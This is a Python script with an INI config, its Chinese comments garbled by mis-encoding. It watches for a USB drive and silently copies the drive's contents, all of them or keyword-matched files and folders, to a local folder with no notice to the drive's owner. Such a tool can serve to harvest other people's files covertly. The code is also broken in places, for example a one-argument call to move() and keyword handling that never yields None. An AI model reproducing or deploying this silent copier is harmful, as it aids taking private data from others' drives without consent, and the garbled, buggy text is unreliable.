# PASTE_PATH:需要復(fù)制到電腦的文件夾路徑
# KEYWORD:關(guān)鍵詞索引，如果留空不填寫(xiě)則表示復(fù)制U盤(pán)下的所有文件以及文件夾
# INTERVAL_TIME:更改檢查U盤(pán)是否存在的間隔時(shí)間，默認(rèn)1s檢查一次

[config]
PASTE_PATH = D:\usb
kEYWORD = 
INTERVAL_TIME = 5

import os
import logging
import configparser
from psutil import disk_partitions
from time import sleep
from shutil import copytree, copyfile, rmtree, move

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
 
 

    # 讀取API配置
config = configparser.ConfigParser()
config.read('config.ini')
        
pastePATH = config.get('config', 'PASTE_PATH')
ukeyword = config.get('config', 'kEYWORD')
intervalTime = config.get('config', 'INTERVAL_TIME')
  
 
# 獲取U盤(pán)的盤(pán)符
# disk_partitions() 打印一下他的返回值，就會(huì)完全清楚下面這個(gè)函數(shù)
def get_usb_dispart():
    for item in disk_partitions():
        if item.opts == "rw,removable": # 可讀、可移動(dòng)介質(zhì)
            logger.info("發(fā)現(xiàn)USB：%s" % str(item))
            return item.device
    logger.info("沒(méi)有發(fā)現(xiàn)USB")
    return None
 
 
# 讀取想要的文件  u盤(pán)所有文件或者文件名含有某個(gè)字段的文件及文件夾
# 1、文件夾含有該字段：復(fù)制文件夾；
# 2、文件含有字段，復(fù)制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
    if select is None:# 無(wú)篩選規(guī)則，復(fù)制所有
        copytree(src, dst)
        logger.info("復(fù)制%s盤(pán)USB所有內(nèi)容到%s" % (src, dst))
    else: # 復(fù)制部分
        paths = os.listdir(os.path.join(src, path)) # 獲取當(dāng)前路徑下的所有文件及文件夾
        for item in paths:
            item = os.path.join(path, item)
            if select in item:
                if os.path.isdir(os.path.join(src, item)): #如果是文件夾，還有字符直接復(fù)制文件夾；否則遞歸遍歷文件夾下的內(nèi)容
                    try:
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        try:
                            rmtree(os.path.join(dst, item))
                        except:
                            continue
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                else:
                    try:
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        os.makedirs(os.path.dirname(os.path.join(dst, item)))
                        try:
                            move(os.path.join(dst, item))
                        except:
                            continue
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                logger.info("復(fù)制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
            else:
                if os.path.isdir(os.path.join(src, item)):
                    get_useb_file(src, item, select, dst)
 
 
if __name__ == "__main__":
    while True:
        path = get_usb_dispart()
        if path is not None:
            get_useb_file(src=path, select=ukeyword, dst=pastePATH)
            break
        sleep(int(intervalTime))